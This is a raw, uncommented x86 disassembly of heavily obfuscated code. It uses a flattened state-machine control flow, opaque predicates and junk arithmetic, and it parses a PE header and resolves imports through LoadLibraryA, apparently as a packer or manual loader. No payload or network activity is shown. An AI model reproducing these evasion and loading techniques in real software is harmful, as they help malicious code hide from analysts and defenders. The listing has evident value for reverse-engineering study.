and esi, 0x7703b27d
and ecx, 0x800800
or ecx, esi
mov esi, 0x6f49b1bd
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xea7c558f
and edx, 0x1583aa70
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne dl
sete ch
cmp dword [0x504180], 0xa
setl ah
setge cl
mov al, ah
or ah, ch
or ch, cl
xor cl, dl
or al, dl
xor ah, 1
mov dh, al
or al, ch
or cl, ah
xor dh, ch
xor al, 1
or al, dh
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or dl, cl
or al, ah
xor al, cl
mov ecx, 0x83100e2f
mov ah, al
xor ah, dl
test dl, 1
cmovne ecx, esi
test al, 1
not ah
cmovne ecx, esi
test ah, 1
mov eax, 0x83100e2f
jmp 0x40600e
cmp eax, 0x69554d2b
je 0x40bb62
cmp eax, 0x6981ede6
jne 0x401ef0
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 0x3c]
mov eax, section..data
add ecx, eax
mov eax, 0xb08cf1cb
mov dword [ebp - 0xa0], ecx
jmp 0x401ef0
cmp eax, 0x8735c811
je 0x40bcb9
cmp eax, 0x8779f303
jne 0x401ef0
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0xc0]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0xb0]
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x504184]
test eax, eax
mov dword [ebp - 0x110], eax
setne byte [ebp - 0xce]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2108840
mov esi, edx
and esi, 0x4001043f
mov edi, edx
or edi, 0x4211044e
and edx, 0x3fb97d03
or ecx, esi
and edi, 0x43f924ce
mov esi, ecx
xor esi, 0x8800
xor ecx, 0x41e9248e
and ecx, 0x43f924ce
and esi, 0x8831
or esi, ecx
mov ecx, eax
and ecx, 0xbc065300
and eax, 0xc04682fc
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0x212a71a
and esi, 0xfded58e5
or ecx, esi
mov esi, ecx
xor esi, 0x40022264
xor ecx, 0xbffcd49b
mov edx, ecx
and edx, 0x9881499a
and esi, 0x677eb665
or esi, edx
mov edx, eax
xor edx, 0x40468264
xor eax, 0x18814902
and eax, 0x9881499a
and edx, 0x677eb665
or edx, eax
xor edx, esi
mov esi, 0x9c85809e
xor ecx, edx
test ecx, edx
sete al
setne cl
cmp dword [0x504180], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
mov dl, ah
and al, ah
xor dl, 1
mov ah, al
or dl, cl
xor ah, 1
mov ecx, edx
and al, dl
or dl, ah
not cl
and ah, cl
mov ecx, edx
or ah, al
xor cl, ah
test ah, ah
mov eax, 0x5f94d265
cmovne eax, esi
test dl, dl
mov edx, 0x5f94d265
jmp 0x40a405
cmp eax, 0xffa99fa9
je 0x40be81
cmp eax, 0x3db6123
jne 0x401ef0
cmp byte [ebp - 0xd6], 0
mov eax, 0x8735c811
mov ecx, 0xf247ae43
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0xc1624607
je 0x40be95
cmp eax, 0xc1b264c3
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x90406880
and eax, 0x216032a
mov edx, ecx
or edx, 0x40a80445
and esi, 0xd0e86cc5
and ecx, 0x2d019010
and edx, 0xd0e86cc5
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x6da99455
and ecx, 0x92566baa
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x3f910a3f
and eax, 0xc06ef5c0
or eax, edx
mov edx, ecx
not edx
and ecx, 0x94c21ecd
mov esi, edx
and esi, 0x6b3de132
or ecx, esi
mov esi, eax
xor esi, 0x804214c1
xor eax, 0x3f910a3e
or edx, eax
and eax, 0x6b3de132
and esi, 0x94c21ecd
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x10d32f59
mov eax, edx
not eax
and edx, 0x465fd6f9
and eax, 0xb9a02906
or eax, edx
mov ecx, eax
xor ecx, 0x64610e9
xor eax, 0x29000802
and ecx, 0x96e631ed
and eax, 0x6919ce12
or eax, ecx
xor eax, 0x6919ce12
sete al
setne cl
cmp dword [0x504180], 0xa
setge dl
mov ah, dl
and al, dl
or dl, cl
inc ah
and ah, cl
mov ecx, edx
or al, ah
not cl
mov ah, al
and al, dl
xor ah, 1
and cl, ah
or ah, dl
or cl, al
mov dl, ah
xor dl, cl
test ah, ah
mov eax, 0xd7aaefc
cmovne eax, esi
test cl, cl
cmove eax, esi
mov esi, dword [ebp - 0xec]
test dl, dl
mov edx, 0xd7aaefc
cmove eax, edx
mov dword [ebp - 0x204], esi
jmp 0x401ef0
cmp eax, 0x504362fa
je 0x40bf9a
cmp eax, 0x506f967c
jne 0x401ef0
mov eax, dword [ebp - 0xe0]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sbb edx, 0x97
rcr edi, 0x16
add edi, 0x38
neg eax
ror edx, 0x81
inc edi
rcl edx, 0x20
not eax
ror edx, 0xb7
bswap esi
not edx
inc esi
not ebx
not eax
rol eax, 0x10
rol esi, 0xf8
mov edi, 7
inc edx
mov ebx, 0xd0
dec eax
neg ebx
inc edi
bswap ebx
imul edi
bswap eax
add esi, 0x93
dec edx
inc edi
imul eax
not eax
rol edi, 0x61
ror eax, 0x4a
dec esi
dec ebx
dec edi
rcl edx, 0x18
dec ebx
add edi, 0x54
imul edx
not esi
add edx, 0xfc
ror edi, 0x1b
imul edx
imul edx
bswap ebx
dec esi
add edi, 0x56
neg eax
and edx, 0xa7
sbb edx, 0xbd
rcr eax, 0x21
inc esi
dec edi
not ebx
add edx, 0xa5
inc edx
rcl edi, 0xa3
rol edx, 0x97
or ebx, 0xcd
bswap edx
bswap ebx
rol edx, 0x52
inc ebx
add edi, 0x34
and edi, 0xe1
neg edx
rol edx, 0xf5
sbb edi, 0xc8
dec eax
add edx, 0x7c
not eax
sub edi, 0xda
inc edi
ror edi, 0x33
inc eax
mov eax, 0xf3
mov eax, 0xfd
mov edx, 0xd5
neg edi
not eax
rcl eax, 0x94
rcr edi, 0x3c
inc esi
neg edx
ror esi, 0x74
inc edx
dec esi
rol edi, 0xb9
neg eax
and eax, 0x8b
dec edi
not esi
mov edx, 0x67
not esi
neg ebx
mov esi, 0x70
sub eax, 0xa4
rol ebx, 0xde
imul eax
inc eax
or esi, 0x47
bswap ebx
sub edi, 0xcd
not eax
inc edx
ror edx, 0x35
bswap eax
inc ebx
rcl esi, 0x1b
sub ebx, 0x7f
add ebx, 0xa3
not esi
rcr eax, 0x77
rcr esi, 0x61
not eax
not eax
not esi
rol edx, 0x6a
add edi, 0xcd
inc edx
and esi, 0xc1
dec eax
add edx, 0xb3
bswap edi
imul eax
rol edi, 0x52
not edi
inc edi
add esi, 0xc8
imul edi
sub esi, 0x2b
rol eax, 0x96
not esi
not ebx
rcl eax, 0x8b
not esi
rol ebx, 0x4a
dec esi
imul esi
mov eax, 0x9e
sub edi, 4
not ebx
mov esi, 0xf9
ror ebx, 0xb
inc edx
ror ebx, 0x34
rcl eax, 0xef
dec edi
rcr esi, 0x13
neg esi
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa4], 1
mov eax, 0xec626aa8
jmp 0x401ef0
cmp eax, 0xa1193621
je 0x40bfa4
cmp eax, 0xa18b0154
jne 0x401ef0
mov eax, dword [ebp - 0x118]
mov ecx, 0x1d2fe628
cmp eax, 0xc
mov eax, 0x7d553b5c
cmove eax, ecx
jmp 0x401ef0
cmp eax, 0x26e7987b
je 0x40bfb8
cmp eax, 0x275fb6d4
jne 0x401ef0
mov eax, dword [ebp - 0x164]
mov ecx, dword [0x504184]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0x9c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0xe0030939
mov esi, edx
and esi, 0xfffffffe
and edx, 0x1ffcf6c6
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0xfb4189bb
mov esi, edx
and esi, 0x4be7644
or ecx, esi
mov esi, eax
xor esi, 0xe0010939
xor eax, 0x4bc7644
and eax, 0x4be7644
and esi, 0xfb4189bb
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xfb5fcf19
sete dl
setne ch
cmp dword [0x504180], 0xa
mov cl, dl
setge ah
setl al
xor cl, al
or ch, al
mov al, ah
or al, dl
xor dl, ah
xor cl, 1
xor ch, 1
and dl, ah
xor al, 1
xor dl, 1
or al, ch
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2a29f8ae
cmovne eax, esi
test dl, 1
mov edx, 0x2a29f8ae
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401ef0
cmp eax, 0xdb6b901d
je 0x40bfcc
cmp eax, 0xdba736f4
jne 0x401ef0
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xac]
add eax, eax
mov word [ecx], ax
mov eax, 0x8f8bce72
jmp 0x401ef0
cmp eax, 0x77ed6dd3
je 0x40bfd6
cmp eax, 0x79b8ab36
jne 0x401ef0
mov eax, 0xbc4ecf43
jmp 0x401ef0
cmp eax, 0x940f31e5
je 0x40c174
cmp eax, 0x9535debb
jne 0x401ef0
mov eax, dword [ebp - 0x14c]
mov eax, 0x3d7464e6
jmp 0x401ef0
cmp eax, 0x13e72bd5
je 0x40c193
cmp eax, 0x146ef5d1
jne 0x401ef0
cmp dword [ebp - 0x214], 0
mov eax, 0xdbe8e7ec
mov ecx, 0x533300b2
cmove eax, ecx
jmp 0x401ef0
cmp eax, 0xcd5b4b6c
je 0x40c208
cmp eax, 0xcd5d4789
jne 0x401ef0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x1d8], eax
mov eax, 0xc8e43a55
jmp 0x401ef0
cmp eax, 0x632950a3
je 0x40c2e9
cmp eax, 0x635560db
jne 0x401ef0
mov eax, dword [0x504184]
mov edi, 0x991fc5fb
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x83a12cd0
and eax, 0x7c5ed32f
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x7c5ed32e
xor ecx, 0x83a12cd0
xor edx, 0x83a12cd1
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov edx, ecx
xor edx, 0xc7dd6382
mov eax, ecx
and eax, 0xc3c42100
and edx, ecx
not ecx
and ecx, 0x4194282
or eax, ecx
mov ecx, eax
xor ecx, 0x40802100
xor eax, 0x3c3bdeff
mov esi, eax
and esi, 0x9f5dc0b0
and ecx, 0x40802302
or ecx, esi
mov esi, edx
not esi
and edx, 0x60a23f4f
or eax, esi
and esi, 0x9f5dc0b0
or edx, esi
not eax
mov esi, 0x6f00e0f8
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x879639a2
and ecx, 0x7869c65d
or eax, ecx
cmp eax, 0x404b5a20
sete cl
cmp dword [0x504180], 0xa
mov ah, cl
setge dl
mov al, dl
and ah, dl
or al, cl
xor cl, dl
and dl, cl
xor cl, 1
xor al, 1
or cl, dl
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
cmovne edi, esi
test al, al
mov eax, 0x991fc5fb
mov esi, dword [ebp - 0x12c]
cmovne eax, edi
test dl, 1
mov edx, dword [ebp - 0x190]
cmovne eax, edi
mov dword [ebp - 0x1e0], esi
mov dword [ebp - 0x1e4], edx
jmp 0x401ef0
cmp eax, 0xb4e90985
je 0x40c2ff
cmp eax, 0xb50949b2
jne 0x401ef0
cmp byte [ebp - 0xcb], 0
mov eax, 0x9b0d1121
mov ecx, 0x6651d3a0
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0x3b230833
je 0x40c414
cmp eax, 0x3b798152
jne 0x401ef0
mov eax, 0x8098099f
jmp 0x401ef0
cmp eax, 0xed46da11
je 0x40c41e
cmp eax, 0xee95e36e
jne 0x401ef0
cmp dword [ebp - 0x108], 0
mov eax, 0x118bcb67
mov ecx, 0x7d530c6f
cmove eax, ecx
jmp 0x401ef0
cmp eax, 0x70bfbc1f
je 0x40c54a
cmp eax, 0x717057e5
jne 0x401ef0
mov dword [ebp - 0xa4], 0xc
mov eax, 0xb6772f8e
jmp 0x401ef0
cmp eax, 0x82f1cfd8
je 0x40c554
cmp eax, 0x83100e2f
jne 0x401ef0
mov eax, dword [ebp - 0x154]
mov ecx, dword [0x504184]
mov edi, 0x4e5a26be
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xf4], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0xc7e2b0db
and eax, 0x28b8979c
mov edx, esi
and edx, 0x381d4f24
and esi, 0xd7476863
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xb703b594
and edx, 0x48fc4a6b
or ecx, edx
mov edx, ecx
xor ecx, 0x20c10442
xor edx, 0x8f1efab1
mov esi, edx
and esi, 0xd03a1b2c
and ecx, 0x2fc5e4d3
or ecx, esi
mov esi, eax
xor esi, 0x28808490
xor eax, 0xd7476863
or edx, eax
and eax, 0xd03a1b2c
and esi, 0x2fc5e4d3
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x6f49b1bd
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x504180], 0xa
setl ch
mov al, ch
or dl, ch
xor al, ah
mov cl, al
and al, ch
xor cl, 1
xor al, 1
and cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
xor ah, 1
mov ch, ah
xor ah, dl
and dl, al
or al, cl
xor al, 1
and ch, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x4e5a26be
cmovne eax, edi
test dl, dl
cmove eax, edi
jmp 0x401ef0
cmp eax, 0xfb5fcf19
je 0x40c659
cmp eax, 0xfcac919a
jne 0x401ef0
mov eax, 0x7ccfd572
jmp 0x401ef0
cmp eax, 0xba8fe2f9
je 0x40c679
cmp eax, 0xbb520ff9
jne 0x401ef0
mov eax, 0xb5b753d0
jmp 0x401ef0
cmp eax, 0x4deaa8f4
je 0x40c692
cmp eax, 0x4e2cd4f5
jne 0x401ef0
mov ecx, dword [ebp - 0x1a0]
mov eax, 0xcc5c518
mov dword [ebp - 0x124], ecx
jmp 0x401ef0
cmp eax, 0x9b978b45
je 0x40c74c
cmp eax, 0x9bf149af
jne 0x401ef0
mov eax, dword [ebp - 0x1b0]
movzx eax, word [eax]
mov dword [ebp - 0x13c], eax
mov eax, 0xed46da11
jmp 0x401ef0
cmp eax, 0x22144278
je 0x40c75c
cmp eax, 0x22d6161f
jne 0x401ef0
cmp byte [ebp - 0xd0], 0
mov eax, 0x2a2b7ca8
mov ecx, 0x55be5db6
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0xd44792b5
je 0x40c83a
cmp eax, 0xd727508f
jne 0x401ef0
mov dword [ebp - 0xe4], 0x20
mov eax, 0x4906029a
jmp 0x401ef0
cmp eax, 0x7550a89a
je 0x40c844
cmp eax, 0x76897097
jne 0x401ef0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x158], eax
mov eax, 0xc139f579
jmp 0x401ef0
cmp eax, 0x903000dd
je 0x40c862
cmp eax, 0x90eb44f6
jne 0x401ef0
mov eax, 0x533300b2
jmp 0x401ef0
cmp eax, 0xf24c77b
je 0x40c913
cmp eax, 0x1083ccb0
jne 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x56d3ba02
mov esi, eax
and esi, 0xa92c45fc
or eax, 0x67706896
or edx, esi
and eax, 0x67706897
mov esi, edx
xor esi, 0x10839200
xor edx, 0x21204095
and edx, 0x67706897
and esi, 0x988f9768
or esi, edx
xor eax, esi
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
xor edx, eax
test edx, eax
sete al
setne dl
cmp dword [0x504180], 0xa
setl cl
setge ah
and cl, al
and dl, ah
xor al, ah
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
mov ah, al
mov ch, cl
xor al, cl
xor cl, 1
and ch, dl
or dl, cl
and ah, cl
xor dl, 1
or ch, ah
or dl, al
mov eax, 0x33fcc35f
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xea847dab
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0x33fcc35f
cmove eax, edx
jmp 0x401ef0
cmp eax, 0xc8e43a55
je 0x40c93b
cmp eax, 0xca55f8b8
jne 0x401ef0
cmp dword [ebp - 0xc4], 0
mov eax, 0xc3369c9a
sets byte [ebp - 0xd1]
jmp 0x401ef0
cmp eax, 0x5f94d265
je 0x40c958
cmp eax, 0x60d05e73
jne 0x401ef0
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x100]
mov eax, 0xaba8c534
jmp 0x401ef0
cmp eax, 0xb08cf1cb
je 0x40c9bb
cmp eax, 0xb1cb15aa
jne 0x401ef0
mov eax, dword [ebp - 0x170]
mov eax, 0xd26be845
jmp 0x401ef0
cmp eax, 0x3608d83c
je 0x40cb10
cmp eax, 0x3628a4c3
jne 0x401ef0
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x14]
add eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x10c]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0x10]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x59a380bf
and eax, 0xa65c7f40
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0x42000
xor esi, 0x59a380bf
xor ecx, 0xc0cdeed2
and ecx, esi
and eax, 0x1824a00b
and esi, 0xe7db5ff4
or esi, eax
mov eax, esi
xor esi, 0x1824a00b
xor eax, 0xe7db5ff4
mov edx, esi
or edx, 0x66919192
mov ebx, eax
and ebx, 0x80480404
and esi, 0x67e8c694
and eax, 0x9817396a
mov edi, edx
and edi, 0x7926eae9
or eax, esi
mov esi, 0xf24c77b
or ebx, edi
mov edi, ecx
not edi
and ecx, 0x86d91516
xor eax, 0x9817396a
or edx, edi
and edi, 0x7926eae9
or ecx, edi
not edx
xor ecx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x996e6e6c
and ecx, 0x66919193
or edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcb1b3725
and ecx, 0x34e4c8da
or eax, ecx
mov ecx, eax
xor ecx, 0x4a191424
xor eax, 0x30200080
and eax, 0xb1222381
and ecx, 0x4edddc7e
or ecx, eax
mov eax, ecx
xor eax, 0xa1002001
xor ecx, 0x645906c
and eax, 0xe9986c13
and ecx, 0x166793ec
or ecx, eax
mov eax, ecx
xor eax, 0xc1082c13
xor ecx, 0x6001c0
and ecx, 0x28f041c0
and eax, 0xd70fbe3f
or eax, ecx
xor eax, 0xd70fbe3f
sete al
setne dl
cmp dword [0x504180], 0xa
setge cl
setl ah
and dl, ah
and cl, al
or ah, al
or cl, dl
mov al, cl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x8a02bfd6
cmovne eax, esi
test cl, cl
mov ecx, 0x8a02bfd6
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401ef0
cmp eax, 0xe76f39be
je 0x40cb1a
cmp eax, 0xea789517
jne 0x401ef0
mov eax, 0xacd799a8
jmp 0x401ef0
cmp eax, 0x6de1701f
je 0x40cc54
cmp eax, 0x6dfb49a5
jne 0x401ef0
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x114], 0
mov eax, dword [ecx + 4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0x18c], eax
lea eax, [ecx + 8]
mov dword [ebp - 0xf0], eax
mov eax, 0xcd5d4789
jmp 0x401ef0
cmp eax, 0x8a02bfd6
je 0x40cc90
cmp eax, 0x8beebb04
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd9146baf
and eax, 0x831e613
mov esi, edx
and esi, 0x26eb9450
and edx, 0xf7ce19ec
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x35054b09
mov edx, eax
xor eax, 0xf7ce19ec
xor edx, 0x831e613
and esi, 0xcafab4f6
or ecx, esi
mov esi, ecx
xor esi, 0x13eedf58
xor ecx, 0xec1120a7
and eax, esi
and edx, ecx
mov esi, 0x17f61078
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x504180], 0xa
mov cl, ah
setl al
setge dl
xor cl, al
mov dh, al
or al, ah
xor dl, ch
and cl, ch
or dh, ch
xor al, 1
xor cl, 1
or al, dl
mov ebx, ecx
or cl, dh
mov ah, al
xor bl, dh
xor cl, 1
xor ah, 1
or cl, bl
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x17732256
cmovne eax, esi
test dl, 1
mov edx, 0x17732256
cmove eax, edx
mov edx, dword [ebp - 0x114]
test cl, 1
cmovne eax, esi
mov dword [ebp - 0x1ec], edx
jmp 0x401ef0
cmp eax, 0x916c2a8
je 0x40cc9a
cmp eax, 0xa6cf89b
jne 0x401ef0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xac]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
lea eax, [ebp - 0x88]
mov dword [ecx + 4], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x11c], eax
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x2f61333e
and edx, 0xd09eccc1
or edx, esi
mov esi, eax
not esi
and eax, 0xd09eccc1
or ecx, esi
and esi, 0x2f61333e
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x523b8771
and ecx, 0x88f85e1a
mov eax, esi
and esi, 0xadc4788e
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x7707a1e4
or ecx, esi
mov esi, edx
xor esi, 0x380610
xor edx, 0xadc4788f
or eax, edx
and edx, 0x7707a1e4
and esi, 0x88f85e1b
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x8e1af82e
mov esi, eax
or esi, 0x51c00311
and ecx, eax
and esi, 0xdfd26b39
and edx, 0x89006
or edx, esi
mov esi, ecx
not esi
and ecx, 0x202d94c6
or eax, esi
and esi, 0xdfd26b39
or ecx, esi
not eax
mov esi, 0xea789517
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x71e507d1
and eax, 0x8e1af82e
or eax, ecx
sete dl
setne ah
cmp dword [0x504180], 0xa
setge cl
setl al
xor ah, cl
or cl, dl
and ah, dl
xor cl, 1
or cl, ah
mov ah, al
xor al, dl
or ah, dl
mov ch, cl
xor ah, 1
xor ch, 1
or al, ah
mov edx, eax
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0xe195a747
mov cl, al
xor cl, ch
test al, 1
mov eax, 0xe195a747
cmovne eax, esi
test ch, ch
jmp 0x40a405
cmp eax, 0xc32e25bd
je 0x40ccb1
cmp eax, 0xc3369c9a
jne 0x401ef0
mov eax, dword [0x504184]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0x3557a67d
mov edx, ecx
and edx, 0xcaa85982
and ecx, 0x349f2be4
or edx, esi
mov esi, eax
and esi, 0xcb60d41a
or ecx, esi
mov esi, edx
xor esi, 0x880981
xor edx, 0x3557a67c
or eax, edx
and edx, 0xcb60d41a
and esi, 0x349f2be5
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x91680698
and eax, 0x46004003
mov edx, ecx
and edx, 0x28042144
or ecx, 0x900023d8
or esi, edx
and ecx, 0x9093bbf8
mov edx, esi
xor edx, 0x1680400
xor esi, 0x93b960
or eax, ecx
and esi, 0x9093bbf8
and edx, 0x296c0404
or edx, esi
mov esi, 0x68de0bcd
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x6085e6f4
and ecx, 0x9f7a190b
or eax, ecx
mov ecx, eax
xor ecx, 0x49e14108
xor eax, 0x20100c16
and eax, 0xb0188c36
and ecx, 0x4fe773c9
or ecx, eax
mov eax, ecx
xor eax, 0x432043c9
xor ecx, 0x108820
and ecx, 0xcd7b820
and eax, 0xf32847df
or eax, ecx
xor eax, 0xf32847df
setne dl
sete al
cmp dword [0x504180], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xcb445dbf
cmovne ecx, esi
test al, 1
mov eax, 0xcb445dbf
jmp 0x401ee2
cmp eax, 0x5400e6ee
je 0x40ccbb
cmp eax, 0x54ddf133
jne 0x401ef0
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x13c]
mov eax, 0x8e12b5e2
jmp 0x401ef0
cmp eax, 0xa58830cb
je 0x40ce5e
cmp eax, 0xa6350948
jne 0x401ef0
cmp byte [ebp - 0xd3], 0
mov eax, 0xc6df33fa
mov ecx, 0xd13c418c
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0x2a2b7ca8
je 0x40ce68
cmp eax, 0x2b87c159
jne 0x401ef0
mov eax, dword [0x504184]
mov esi, 0x706e0f04
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xc8747af8
mov eax, ecx
and eax, 0xc8706088
and edx, ecx
not ecx
and ecx, 0x41a70
or eax, ecx
xor eax, 0xc8706088
or eax, edx
not edx
and edx, 0x378b8507
and eax, 0xc8747af8
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x48d0237f
and ecx, 0xb72fdc80
or eax, ecx
mov ecx, eax
xor ecx, 0x22e5080
xor eax, 0x8402365
and eax, 0xbd41af65
and ecx, 0x42be509a
or ecx, eax
xor ecx, 0x42be509a
setne ah
sete ch
cmp dword [0x504180], 0xa
setge al
mov edx, eax
and al, ch
inc dl
and ah, dl
mov cl, dl
or dl, ch
or al, ah
mov ah, dl
xor cl, ch
xor al, 1
mov ch, cl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
and ch, al
xor dl, 1
mov ah, dl
or dl, cl
xor cl, 1
xor al, cl
xor dl, 1
and ah, cl
or dl, al
or ch, ah
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x2dafa160
cmovne esi, eax
test dl, 1
mov eax, 0x706e0f04
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x401ef0
cmp eax, 0xdef5b83b
je 0x40ce7c
cmp eax, 0xe0271ac7
jne 0x401ef0
cmp byte [ebp - 0xcc], 0
mov eax, 0x203ea525
mov ecx, 0x9dbba72a
cmovne eax, ecx
jmp 0x401ef0
cmp eax, 0x7d46924f
je 0x40cf5f
cmp eax, 0x7d530c6f
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0x1541d3e3
mov esi, ecx
and edx, 0x81277905
and esi, 0x7ed886fa
or esi, edx
mov edx, ecx
or edx, 0x81277904
and ecx, 0xeabe2c1c
and edx, 0x81277905
or eax, ecx
xor edx, esi
xor eax, 0x1541d3e3
mov esi, edx
not esi
and edx, 0x683201d3
and esi, 0x97cdfe2c
or edx, esi
mov esi, 0x6aab8b09
